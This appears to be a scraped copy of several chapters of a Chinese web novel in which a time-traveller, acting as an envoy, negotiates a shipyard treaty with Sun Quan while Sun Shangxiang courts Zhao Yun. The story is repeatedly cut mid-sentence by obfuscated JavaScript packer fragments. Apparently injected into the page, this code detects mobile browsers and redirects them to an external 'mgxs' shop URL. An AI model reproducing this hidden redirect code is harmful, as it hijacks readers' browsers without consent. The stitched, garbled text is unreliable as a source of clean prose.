d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486261|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住惊叹道:“听闻常山赵子龙百战百胜未尝败绩,世人只知其枪法超群,却不料剑术竟也这般精妙!” 周瑜目光则是欣赏中夹杂着凝重。 太史慈与赵云数十招交手,越斗越是兴奋,终在剑光交错中,二人各自收剑,同时后退一步,抱拳相视而笑。 “痛快!”太史慈豪迈道:“赵将军果然名不虚传!” 赵云微微一拱手:“太史将军剑法刚猛精妙,赵某亦是受益匪浅。” 众人纷纷叫好,梁爽见状,端起酒杯,笑道:“二位将军以剑会友,既无胜负,亦无输赢,实乃英雄相惜,不如共饮此杯,以表亲睦之意!” 太史慈与赵云对视一眼,同时点头,举杯畅饮。满座皆欢。 这时忽然传来一道清亮的女声:“赵将军剑术超群,可否也赐我几招?” 众人闻言,齐齐望去,只见一名飒爽女子大步而来,身着轻甲,腰佩两把短刀,神采飞扬。 此人梁爽先前见过,正是孙尚香。今日近看,只见她身材纤细却不失英姿,肩背挺直,宛如一朵盛放的寒梅,傲然不群。 孙权向来宠惯妹妹,又颇为妹妹的武艺自豪,见妹妹主动开口,也不阻拦,笑向梁爽及赵云道:“子龙将军若不介意,稍作切磋如何?” 赵云又看向梁爽。梁爽心里怀有盘算,故而有些犹豫,但又不好拒绝,只好强笑着点点头。 赵云随即起身抱拳道:“孙小姐若不嫌弃,赵某愿意奉陪。” 孙尚香抽出双刀,身姿轻盈地掠入场中。她目光灼灼地望着赵云,带着几分不服输的倔强,朗声道:“赵将军可别手下留情!” 赵云见她战意高昂,便也不再推辞,握剑站定:“请!” 孙尚香抢先出招,双刀交叠,袭向赵云。赵云面对孙尚香的进攻,显得游刃有余,手中长剑如惊鸿掠影,每一次轻轻一拨,便将对方的招式化解于无形。 孙尚香越战越是心惊,她虽自幼习武,但赵云的剑法不仅高明,而且沉稳内敛,似乎无论她如何变招,都无法真正触及对方的防御。 她一咬银牙,忽然虚晃一招,欺近赵云身侧,然而赵云却只是微微侧身,轻轻一带,便让孙尚香自己收势不住,险些撞入他怀中。 孙尚香骤然停住,心跳加快,抬头望向赵云。 赵云却毫无察觉,只是淡然收剑,一步后撤,拱手道:“孙小姐武艺高超,赵某受教了。” 孙尚香怔怔地看着赵云,竟一时忘了言语。 孙权坐在上首,见此情形,眼中闪过一丝深思。目光一转,望向身旁的周瑜,见周瑜眸中也暗藏深意。 他知道他与公瑾这次又想到一处去了。 而梁爽在一旁,看着这场比武带来的微妙变化,心中暗呼“完蛋”:这孙尚香命中注定要嫁给蜀汉阵营是吧……躲得掉刘备,躲不过赵云? 44. 出使东吴(七) 梁爽当然不想看孙尚香嫁给赵云。 时局如棋盘,虽然旁人未必看得清楚,可她梁爽自己便是谋局的棋手之一,她最清楚地知道孙刘联盟只是暂时,将来必有一战。她不想孙尚香将来夹在哥哥和丈夫为难,就像“历史”上嫁给刘备之后那样。 但她要挥剑斩断孙尚香的情丝,梁爽又觉得是对孙尚香的不尊重。 不过梁爽这厢烦恼,实则是低估了孙尚香。 孙尚香虽然对赵云些微心动,但于自己的终身仍是十分慎重。 江东群英荟萃,少年才俊无数,孙尚香身为吴国太娇宠的小女儿、吴侯的亲妹妹,堂堂大小姐什么好儿郎没见过?倒不至于因为与赵云比武过招几下便彻底沦陷。 她还要慢慢考察。 宴席散去,众人各怀心思。 诸位臣僚中,孙权只留下周瑜一人夜谈。 孙尚香是孙权的幺妹,他向来宠爱。但若联姻能换来政治利益,他亦不介意让妹妹成为棋子。 “赵云此人,武艺无双,品行端正,可惜……”孙权轻轻叹息:“他在刘备那里的地位,终究不够。若是将小妹嫁与刘备,还般配些,奈何刘备已有正妻。” 相比于刘备——甚至关羽、张飞——赵云虽有“常胜将军”之名,却不握重权。若孙尚香真对他动了心,孙权倒不介意借着说媒来试探刘备的态度,但若真要促成这门婚事,恐怕对东吴而言,利益尚不足。他实在是不甘心。 周瑜静静地坐在一旁,手指轻抚茶盏上的纹路:“主公嫌弃赵云地位低微、不足以成为联姻的对象?” 孙权看了他一眼,没有否认。 周瑜道:“赵云现时的身份确实不够,但他前途无量。而且主公可以帮他一把,他将来或许能在荆州的事上帮咱们一把。” 孙权微微挑眉,等着周瑜说下去。 “若主公将小姐嫁与赵云,刘备为了表示对主公和小姐的尊重,必然要提拔赵云,”周瑜轻声道:“眼下执掌荆州军权的是关羽,若主公要求改成赵云,刘备为了两家联盟,未必不允。赵云做了主公的妹婿,主公便在刘备阵营多了一枚重要棋子。小姐美貌无双,日久天长之后,就算不笼络得赵云来投诚主公,到时在刘备和赵云之间巧设计谋、稍作挑拨,令刘备容不下赵云,由不得赵云不反水。到时何愁荆州不入主公之手。” 孙权眼神幽深,缓缓点头,但仍有少许犹疑之处:“只怕我那妹妹,未必肯十分听话……但公瑾所言,不妨一试。”又问:“日间黄楚说要采购战船,公瑾以为如何?” “主公也知,荆州水军一向惯用大船而缺乏小船,其战术刚硬而缺乏灵活。”周瑜道:“若刘备购得小船,又多加操练水军,恐怕我军对战荆州水军的优势便会荡然无存——黄楚用兵深诡难测,从目前外界获知的情况来看,她尤其擅长火攻。就算是末将亲自率精兵与她对阵,都没有取胜的十足把握。先前在柴桑,末将代主公前往迎接黄楚等人,曾以水师战阵考验之,此人眼光老辣,破局果决,意志坚定,实在难以对付。” “依公瑾的意思,战船之议,应当回绝?” “主公不如同意,”周瑜道:“诚如黄楚所言,刘备欲增强水军,一定会四处购船。就算不在江东购买,也会从别处采买。与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486262|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其让他们从别处买,不如主公亲自来做这笔买卖。” “我只怕荆州水军增强后,成为我心腹大患。” “主公莫担心,”周瑜道:“建造战船用时颇久,少则半年,多则一年。咱们将这单生意揽过来,先收钱,然后慢慢地做、慢慢地交付,且拖着他,拖到一年以上。刘备刚刚在荆襄立足,钱帛有限,既然已经在我方订船,期间必然没有余力同时从别处购买。这一年间,时局瞬息万变,咱们中间做手脚的机会有很多。兵不厌诈,到最后就算赖账,刘备黄楚能奈我何。” 孙权叹道:“那黄楚诡计多端。我总感觉,咱们若真的听信了她的话,日后必被她愚弄。”问道:“刘备手下乏人,若我将黄楚、赵云等人扣留,派兵攻打荆州,杀他一个猝不及防,公瑾以为如何?” “探子来报,关羽驻兵荆州后,江夏哨卡加紧江面巡逻,时常遥伺江东动静。恐怕我方不易动手,反倒白白结仇。”周瑜道:“诸葛瑾之弟诸葛亮尚在刘备军中,观黄楚之才,恐怕其夫智谋亦不容小觑——主公试想,王粲也算有才识之士,当初去黄家相亲时被黄楚以算术题刁难,王粲第一道题便答错了。而诸葛亮能娶黄楚,传闻是他答对了黄楚所设三千道谜题,黄楚方点头许嫁。” 梁爽若知道她和诸葛亮的故事在民间被传成这样离谱,估计能笑得肚子疼。 “听说诸葛亮重病昏迷?”孙权问。 周瑜道:“恐怕有诈。黄楚在柴桑驿馆时终日饮酒作乐,不像是丈夫病重的样子。” 孙权听罢,沉思许久,说道:“战船、联姻之事皆重大,明日召集众卿,再议。” 45. 出使东吴(八) 翌日,梁爽起了个大早,便听得赵云在院中练枪。 长枪破风之声凌厉沉稳,每一枪挥落,都带着如雷般的气势,令院中的空气都仿佛震颤几分。 梁爽立在回廊,远远望去,赵云一袭银甲,晨曦落在他肩头,沉浸于练习中的专注之态让人不由得将目光投注在他身上。 梁爽静静看着,没有上前打扰。她昨晚想了一夜,觉得如果孙尚香和赵云真的结为眷侣,她作为军师只能最大限度地减少对他们的伤害,而不能抱有“穿越者的傲慢”,仗着自己知晓历史就去干涉历史人物之间的感情。 乱世儿女情,本就比太平年岁艰难。那是他们自己的人生抉择、人生体验,所有的选择都该交给他们自己。 梁爽看了一会儿,待要转身离去,赵云随即收枪,唤一声“军师”,向梁爽抱拳打了个招呼。 梁爽忙回身报以一笑。 赵云顿了顿,似是有所犹豫,终究还是道:“昨夜与吴侯之妹比试前,军师似乎有迟疑……不知云昨夜是否行事欠妥、不该与她比武?” 梁爽道:“无妨。将军不必过虑。” 赵云顾虑未消,还想在说些什么,但没能说出口,转而道:“东吴人狡诈,云担心他们会用阴招暗算,军师多加小心。” 梁爽笑道:“没事。东吴人狡诈,我也狡诈。” 赵云闻言笑笑。 孙权再次召集群臣商议。 “昨日之议,通商减税自是可允。至于战船订购,诸位以为如何。” 张昭禀道:“当年刘备曾与吕布结盟,吕布被曹操擒拿后,他却在曹操面前劝杀吕布,后又叛曹南逃,如今行移花接木之计获得刘表基业。此人狼子野心,必有诡计,主公切不可允。” 黄盖禀道:“水师之根本,不止在于船械,更在于船上之水兵。盖粗略一算,造船至少需要大半年时间,交付之后,刘备用这些船训练水兵,人船磨合至少也要一年。算下来两三年的时间里,我军以刘备购船之钱款用来招兵买马,亦可壮大自身。主公大可不必怯他。” 孙权微微点头。 吕蒙闻言笑道:“其实还有一计,主公未曾考虑。” 孙权惊喜道:“子明有何高见?”此人常出奇策,孙权对他颇为期待。 吕蒙拱手道:“黄楚此来购船,既然承诺战船不是用于攻打东吴而是用于共同防御曹操,那这批战船,不如不必‘买’,而是‘借’。” “借?”众人不约而同惊奇道。 吕蒙笑道:“刘备想要多少战船,我方不妨按数目修造。平日停泊在东吴水寨,由刘备派出兵将若干,在此看管。真正等曹操大军南下时,支付租金,驾船回去便是,完全来得及。” “黄楚精明,”鲁肃皱眉道:“恐怕不会答应。” 吕蒙道:“她若不答应,便是坐实了他们购船是为了针对江东。” “他们购船当然有针对江东之意,这一点大家都心知肚明。”鲁肃向来不喜欢吕蒙的轻率,开口道:“之所以主公犹豫是否答允,是因为此事对江东并非没有益处。利弊之间,还需仔细考量。” 周瑜问吕蒙道:“若黄楚说,战船尽数泊在江东,她担心日后这批船会被用于进攻荆州,子明打算如何应答?” 吕蒙一时语结,竟难以作答。 片刻的沉默后,周瑜道:“子明之策,虽未尽善,但却提醒了我一个更可行之法。” 孙权道:“公瑾请讲。” 周瑜道:“主公之忧,无非是担心今日所造之战船,成为明日伐我之利剑。黄楚之忧,无非是战船尽泊江东,恐成我军未来之利器。那么,我等何不另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486263|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择一地,令两方皆可掌控,彼此制衡?” 孙权眼睛一亮:“公瑾的意思是?” 周瑜道:“长江之中,有一鹦鹉洲。若刘备真心联吴,主公可在此与之共建船厂,战船建成之后便停泊于此,由双方共同管理、共同操练。” 众臣闻言,纷纷思索议论。 吕蒙反应过来,连忙赞同道:“鹦鹉洲在荆州外,离江东不远,可谓进可攻,退可守。若在此造船,日后主公不论是抵御曹军,还是防范刘备,皆可灵活应对。” 张昭微微皱眉,沉吟道:“此策虽可解黄楚之疑,但……若日后刘备军力渐强,鹦鹉洲反成其水军要塞,岂非养虎遗患?” 周瑜笑道:“张公莫忘,鹦鹉洲虽为水上要地,但地势狭窄,供养兵力有限。” 孙权眼神微微闪动,似已动心。 周瑜又添上一句:“更何况,共建鹦鹉洲船厂,表面上是让刘备放心,实则更利于我军监视荆州动向,日后若生变故,主动权仍在主公手中。” 鲁肃附和道:“建船厂耗时至少需半年,又可拖延刘备一些时日。” “只怕他们趁着共建船厂,将我江东造船技艺偷学了去。”张昭道。 黄盖道:“老先生忒小气。他们若真想偷学技艺,就算不共建船厂,他们私下花重金哄几个工匠过江去给他们做事,咱们如何拦得住?” 属下分为两派,争议纷纷。 孙权仔细听罢,缓缓起身,在厅中来回踱步,沉思片刻,最终点头道:“便依公瑾之策,提议与刘备共建鹦鹉洲船厂。”转身扫视群臣,语气沉稳决然:“召黄楚等人前来议事。” 昨夜周瑜从孙权处告辞时,二人原定今日还要与众卿商议联姻之事,孙权却未提起。周瑜看向孙权,以眼神提示。孙权看着他,轻轻摇了摇头。 46. 出使东吴(九) 黄楚携副使蒯越、糜芳及将军赵云等人至。 孙权居于上首,张昭、周瑜、鲁肃、吕蒙等文武分坐两侧,皆强作从容之态,实则紧张地留意着她的反应。 鲁肃出面,代孙权发言,先说通商降税之事可允,又将共建鹦鹉洲船厂的提议说明。 没想到梁爽答应得十分痛快:“好!吴侯此举,确有大义。” 在场东吴诸人皆是一愣,忍不住面面相觑,最后又齐齐看向吴侯。 孙权则是下意识地看向周瑜。 黄夫人答应得太过爽快,爽快得令他们不安。 这几天一直表现得老谋深算的黄楚,难道真的看不出他们背后的盘算?还是她实则有着更深一层的算计? 就连周瑜一时也看不穿她。 再去看她身后的蒯越、糜芳等人,也皆是满面悦色,仿佛对东吴的提议毫不感到意外。 莫非他们早就预判了东吴的动向? 难不成东吴已经落入他们的圈套? 孙权强笑着,试探地说道:“我方提出此议,虽然贵使欣然应允,但不知是否需要报与刘玄德知道,再行商议细节?” 梁爽笑道:“黄某出使之前,已与玄德公商量过共建船厂之可能。我家主公向来诚意待吴,愿与贵军共守江防,说若果有鹦鹉洲共建之议,我方可允。” 孙权及其麾下众人一时不知该感动还是该害怕。东吴上下商议两日才集思广益出的一个方案,竟然早被刘备黄楚提前预料到了。 赵云甚至一瞬间从周瑜眼中捕捉到了他对梁爽的杀意。 周瑜显然也感觉到了来自赵云的眼神,他垂眸一笑,敛去目中情绪,站起身道:“刘豫州结盟之诚意,我东吴感喟在心。既如此,不妨仔细谈谈这船厂该如何建。” 梁爽显然早有准备,侃侃而谈:“既为共建,船厂之造船工匠,亦应由两方共同选派。” 张昭、鲁肃等人不由皱眉:“共派工匠?” “正是。”梁爽微笑:“贵方所虑,无非是我荆州趁共建之机学了贵军造船技艺。可我方同样担心,贵方工匠造船时暗中做手脚,糊弄我方。故此,船厂所用匠人,我方亦需派遣监工,共同修造。” 东吴群臣神色微变。 这话直击要害——东吴原本的计划之一,便是通过放慢造船时间来拖住荆州水军的发展速度。若工匠由江东全权掌控,荆州水军便只能按东吴的进度获得战船。同时,东吴可以从技术层面故意削弱战船性能,限制荆州水军作战能力。 而黄楚此言,直接让东吴的盘算落了空。 周瑜眸色微闪,说道:“夫人言之有理。既然是共建,自当公平。不知夫人还有何条件?” “其二,鹦鹉洲船厂既属共建,则船厂之防卫亦应两军共管。贵方派驻将领,我方亦派驻将领,彼此共同守护,以示信任。”梁爽道:“鹦鹉洲虽然一向没有明确归属,但实则在我荆州势力范围之内,可以算作是我方的地盘。同意共同驻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486264|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军实则是我方让了一步,让贵方将一部分兵马驻扎在了我荆州的大门口,关于这一点,还请贵方领情。” 孙权一笑:“夫人说话,当真是滴水不漏,一点不吃亏。” 梁爽继续道:“既然是做买卖,便有投入、有产出。我方一半的驻军、一半的工匠,还出了土地,那么建造船厂时的用料,便请贵方多承担了。不知贵方意见如何?” 张昭与周瑜交换了一个眼神,各自点头。孙权于是答允。 梁爽道:“此次倡议建厂,起因是我方欲向贵方购船,故而船厂建成之后,要先造小船五百艘供我方使用。每造一艘船,工程分为三期;每完成一期,我方会向贵方支付一期的价钱,尾款则在全部完工之后、新船交接试用无误之后支付。这一条诸位若无异议,便可请糜芳将军与贵方仔细订立合约条款了。” 孙权深深看着梁爽,缓缓道:“夫人不但排兵布阵了得,商场征伐亦不逊色。” 梁爽坦然迎视,笑道:“彼此彼此。江东子弟多才俊,我身为主公使者,生怕误主公大事。自忖才疏学浅,唯有勤能补拙,故而出使之前不能不多做准备——但无论做什么准备,都是为了两家交好。还望吴侯与在座诸位能明白黄某一片苦心。此次共建船厂,是双方想到一处去了,算是两家同心同德的吉兆,还望之后双方增进信任,勠力协作,共御外敌,兴复汉室。” 最后一句说完,梁爽隐约感觉自己梦回21世纪,正在给《新闻联播》念稿。 47. 出使东吴(十) 关于双方合约,孙权说先与诸卿草拟一稿,两边再商议。 于是黄楚等人告辞。 黄楚走后,议事厅内一时沉寂。江东众人一时看不明眼前局势,谁也不敢妄自发言。 孙权问道:“众卿怎么看?” 张昭资历最老,率先出声:“主公,此事不对。”他眉头紧锁,顾虑重重:“原本我等提议共建鹦鹉洲船厂,一则是为了控制造出的战船;二则乃是为了监视荆州水军,最差也是借此掣肘刘备,可如今看来,反倒是他们借机稳固了对鹦鹉洲的影响——那片水洲,原本是无人管的荒地,现在倒有一半成了他们实打实派兵驻扎的地方。” 鲁肃点头附和:“张公所言不错。黄夫人言谈间步步为营,看似礼让,实则让我方难以在未来彻底掌控此地。” “那黄楚为人狡诈,行事反常。”吕蒙亦幽幽说道:“属下亦觉得,那份合约不简单,而黄楚要将我们拖入她的局。”至于到底是什么样的“局”,他一时还看不穿。 东吴众臣表态,皆是深觉不安——鹦鹉洲之事,本该是东吴主导的谈判,结果东吴不但没占到便宜,反而还真要帮荆州打造舰队了? 孙权听了一圈下来,没有合心意的建议,扭头向周瑜道:“公瑾,你以为如何?” “诸位同僚所言皆有道理,”周瑜道:“黄氏确是心机深沉,但她的算盘,未必能如愿。”他顿了顿,继续道:“她的布局再精妙,也绕不开一个现实——造船需要时间,需要人力,需要物资,而这些,都不是她能完全掌控的。” 吕蒙恍然:“大都督的意思是——先拖住他们?” 周瑜道:“不错。来日方长。只要战船制造一日未成,他们一日不敢轻易进犯江东。如今看来,既不好回绝他们,也不好当真与他们合作,不妨就用‘拖字诀’,最为稳妥。” 众人皆赞同。孙权亦颔首认可。 群臣散去,周瑜却并未急着走。孙权知道他留下何意,于是挥挥手让侍从都退下。 周瑜道:“主公,昨日尚在商议联姻之事,为何今日却不再提及?” 孙权叹道:“母亲不同意。” “国太反对?” 孙权轻轻叹息,语气中透出几分无奈:“母亲说,掌上明珠,如何能轻易远嫁他国?仿佛送入外地为人质一般。”就算不掺杂政治利益考量,孙尚香乃吴国太最宠爱的小女,自小漂亮伶俐,武艺超群,国太视她如珍宝,如何舍得她远嫁? “国太的顾虑,不无道理。”周瑜道。 “母亲说,若要联姻,除非是招婿入吴。总之不可将小妹嫁往外地。” “赵云乃刘备帐下虎将,平白无故,刘备怎么可能白白将他送与江东?”周瑜道:“对于联姻,主公意思究竟如何呢?” “眼下局势未明,确实不宜急着让小妹出嫁。” “如此……那便静观其变。”周瑜道。 梁爽等人回驿馆的路上,半路杀出孙尚香。 她一袭银甲,腰间带刀,骑马前来。见着几人,勒住缰绳,翻身下马,向几人走来。 梁爽等人忙与她见礼。 孙尚香眉梢微挑,笑向赵云道:“将军不必拘礼,我又不是吴侯。” 她单单挑了赵云出来说,在场剩下几人全都是人精,自然脚底抹油便想溜走。赵云情急之下唤道:“军师!” 梁爽已经决意不干涉,正想速速逃离,听见赵云唤她,赔笑着抬起头冲他拱拱手,说道:“我与蒯先生、糜将军先谈,将军可稍作歇息再来。”将决定权踢回给他。 赵云心里仿佛石头微微裂了一道纹,但他还没来得及仔细理会自己的感受,孙尚香单手牵着马缰,径直走到他面前,仔细打量着他,眼神坦然,毫不避讳地说道:“我敬将军是英雄好汉,难道将军还怕我不成?” 赵云不敢与她对视,抱拳道:“赵某不敢。” 孙尚香道:“宴席上比武,我的招式被将军轻易化解,实在不甘。” 赵云谦逊道:“小姐刀法精妙,赵某亦受益良多。” 孙尚香笑道:“我自幼习武,江东能与我过招者,多以蛮力取胜,少有如将军这般游刃有余者。”话锋一转,眉眼轻扬,说道:“所以,我想再与你比试一场。” 赵云眼中掠过一丝惊讶,却依旧温文有礼:“赵某是刘豫州帐下将军,此刻乃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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梁爽笑道:“乱世之中,相互猜疑、相互防备、相互扯后腿,也是没有办法的事情。如今和议初成,东吴至少不会轻易发兵攻打荆州。他们要拖,便拖吧,只要不打,就行。只要不打仗,咱们就能求生存、求富裕,就能在乱世里扎下根来。” 怎知千算万算,还是有几件梁爽没算到的事发生了。 48. 出使东吴(十一) 梁爽自忖昨天在孙尚香面前把赵云卖了,自打从孙权的议事厅回来,便竭力避免与赵云单独相处。 第二天早起后便磨磨蹭蹭不敢出门,生怕在外面跟赵云单独碰见。直到听见关银屏醒了,才连忙收拾仪表——虽然让银屏扮作侍女,但她到底不能真的让她做侍女的活儿。 洗漱更衣毕,唤银屏进来,两个人装模作样假装是银屏服侍她,好蒙骗东吴眼线。约莫待了一盏茶,戏演够了,梁爽一出门,结果迎面跟赵云撞上。 赵云显然在等她。但眼神一碰之后,他又难为情地偏开视线。 梁爽故作大方,笑着打招呼道:“赵将军早啊。”银屏也向他问安。 赵云草草抱拳示意,说道:“军师可方便借一步说话。” 梁爽心想,躲得过初一躲不过十五,便笑道:“好。将军请。” 两人走去驿馆一处角落,银屏去外面窗下守着防止东吴人靠近窃听。 赵云明显事先已经字斟句酌过,话说得含蓄:“军师,若吴侯之妹再寻末将比武,末将该如何应对为好?” 梁爽道:“将军武艺高强,手里自有轻重,只要不伤着她,陪她练练也无妨。” “云只怕人言可畏。”他看着她说道。 梁爽道:“将军若对她无意,那便不妨回绝。” “可若她……”赵云道:“今早云清晨习武,在驿馆外又遇见她。” “将军今日仍回绝了她?” “是。” “那明日若她再来,将军照今日所用借口回绝她便是。” “这……”赵云急得快要脱口而出,但又生生顿住,红了脸,再三思量过后还是说了实话:“云今日……今日向孙小姐撒了谎。” “哦?将军撒了什么慌?” “孙小姐……云实在不忍拒绝,但又不能不拒绝,所以就……所以就说是军师禁止云与之比武。” “这……”这次轮到梁爽郁闷了。小赵将军啊小赵将军,平时看着挺靠谱,这种事情上给她挖了坑。 “将军可曾向她明说我禁止将军与她比武的缘由?”梁爽硬着头皮问道。 “她逼问过……云……云说……军师说‘男女授受不亲’……” 梁爽叹了口气,摆摆手:“行吧,这也算个理由。事已至此,先吃饭吧。” 赵云却在原地没动:“难道军师希望云与孙小姐亲近?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486266|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“并非如此。”梁爽回头解释道:“将军的私事,一切都留待将军自己处分。黄楚绝没有让将军联姻、用将军终身大事来换自己手中筹码的想法。相信主公也绝无此意。” “云知道了。多谢军师。” 梁爽身为谈判正使,不由得去想孙尚香今晨来找赵云是否背后有孙权的鼓励、而赵云以她作挡箭牌回绝孙尚香又会在东吴那边招来什么反应。一顿早饭食不知味,积在胃里根本不消化。梁爽正盘算着怎么消食,怎知东吴来人,说吴国太宴请黄夫人及使团诸人。 “吴国太?吴国太为何宴请我们?”蒯越、糜芳等人皆一头雾水。吴国太身为女眷,若说宴请黄夫人,那完全说得通,但何必将其余人都带上? 梁爽内心:还能为了什么,一定是为了她的宝贝女儿孙尚香啊!说是宴请使团诸人,把赵云请去是真,至于蒯越、糜芳、关平、刘封,那全是搭上的。 只是不知吴侯和周瑜等人是什么态度…… 梁爽一想到这些谈判之外的节外生枝,胃里积食更不消化了。 她揉着上腹,心中暗叹:可惜了今早的鲍鱼炙、五侯鲭、鸡白羹、椒柏酒……别的不说,江南人真的很会做饭…… 49. 出使东吴(十二) 吴侯府邸后院,较之议事厅,自是不一样的风景。深宅大院,曲折回廊,名花奇石点缀其间;厅堂内珠帘轻摆,丝竹悠扬。 礼官在前引路,梁爽率领使团入内,移步换景,众人不由得各自暗叹江东巧匠的手笔:方寸之间竟能打造出如此精妙的园林。 至后院正堂外,梁爽抬眼望去,只见吴国太端坐于主座之上,身着一袭暗纹锦袍,鬓发梳得一丝不乱,虽年过半百,却气度端庄,仪态威严,透着江东世家特有的贵气。 吴国太见众人到场,目光缓缓扫过梁爽、蒯越、糜芳等人,最后落在一袭月白袍服的赵云身上,微微一顿,又转眸去看坐在一旁的孙尚香,目光中满是赞许。孙尚香羞红着脸,眼神里全是骄傲。 有吴国太这一眼,事情就不好办了。好在今日吴侯等人并不在,只有乔国老、吴国太、孙尚香三人在场。梁爽心头正暗自叹息,余光偷瞄赵云一眼,却见他神色沉稳如常,似是未察觉到自己正被吴国太当成女婿人选。 吴国太开口,笑容慈祥,声音和缓:“久闻刘豫州帐下皆是英雄人物,今日一见,果然不虚。” 梁爽忙拱手笑道:“国太过奖了。” 吴国太轻轻一笑,道:“黄夫人不必过谦。听说这次使团里有位赵将军,百战百胜,未尝败绩,人呼曰‘常胜将军’,江东早有耳闻。如此英杰,实在难得。” 赵云稍稍上前半步,低头拱手道:“云不过竭力尽忠,不敢当此美誉。” 赵云态度谦逊有礼,不比寻常武将莽夫。吴国太看了,心里更加喜欢,便笑着点点头:“老身已备下些薄酒粗食,还请诸位落座饮宴罢。” 丝竹声起,舞女鱼贯而入,身着青衣,水袖拖地,翩然起舞。舞姿轻盈,步步生风;长袖摆动,似月华流转,配合乐声,柔美动人。 梁爽不由得看得入神。赵云只低头用餐,并不多看。 今日菜肴确实丰盛,有松仁脆鳝、蜜炙脆藕、糟卤黄鱼、水晶虾仁、竹叶蒸鹿脯、清炖蚌肉羹。梁爽饶是肠胃不适,也被香味引诱着每样菜都吃了几箸。 倒是孙尚香没有进餐的心思,偷眼看一看赵云,又时时观察着母亲的态度。 起初赵云进堂时,器宇轩昂,异于左右,国太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梁爽知道他也是为孙尚香好。长痛不如短痛。他不想拖着她,不想亏欠女儿家的情债。 可这手起剑落……毕竟伤人心。 剑锋堪堪错过孙尚香脸颊时,吴国太坐在那里,惊得面色煞白,若非是见过大风大浪的老人,险些叫出声。 而孙尚香的挫败则无以言说。她有一瞬间的惊讶和不可置信,此后招招发狠,阵仗几乎是想把赵云当场砍死,看得关平、刘封二人坐立难安,恨不得上阵帮赵云抵挡。 赵云不慌不忙一一格挡住她攻势,最后让了她一招,让她一刀刺在了他左臂,但控制着距离,没有让她刺深——毕竟若她重伤来使,会扰了刘备孙权的这次结盟。 鲜血涌出,孙尚香怔了怔,将双刀掷在地上。 赵云也弃了剑,用手捂住伤处,说道:“小姐武艺,赵云不敌。令诸位见笑了。” 吴国太连忙赔礼,唤医士来为赵云处置伤口,又连忙向众人道:“皆是老身的错。此女被我宠惯坏了,争强好胜,武艺又不好,下手没有轻重,这才不慎失了分寸。还望赵将军、黄夫人、还有玄德公莫要与她计较。香儿,赔礼。” 赵云抱拳道:“国太言重了。方才比试乃是赵某技不如人,受伤本是自招,绝无怪罪之意。” 吴国太目光在赵云身上停留片刻,转头望向孙尚香,却见她垂着头,神色晦暗不明,心知女儿心中必定难受,温声哄她道:“香儿,还不向赵将军赔罪?” 孙尚香到底是大家闺秀,适才用力劈砍,全因她知道赵云武功远在她之上、她无论怎么泄恨都伤不到他——她根本没想到赵云竟然最后一招任她砍——现在自知有过失,又见真个伤到赵云,悔恨愧疚不已。虽然心情憋闷,但仍连忙肃容起身向梁爽及使团其他人行了一礼:“皆是我鲁莽,伤了赵将军。尚香绝无敌意,只是一时疏忽,还望见谅。” 赵云拱手回礼,温声道:“小姐不必自责,武者切磋,受伤乃常事。赵某佩服小姐武艺精湛。” 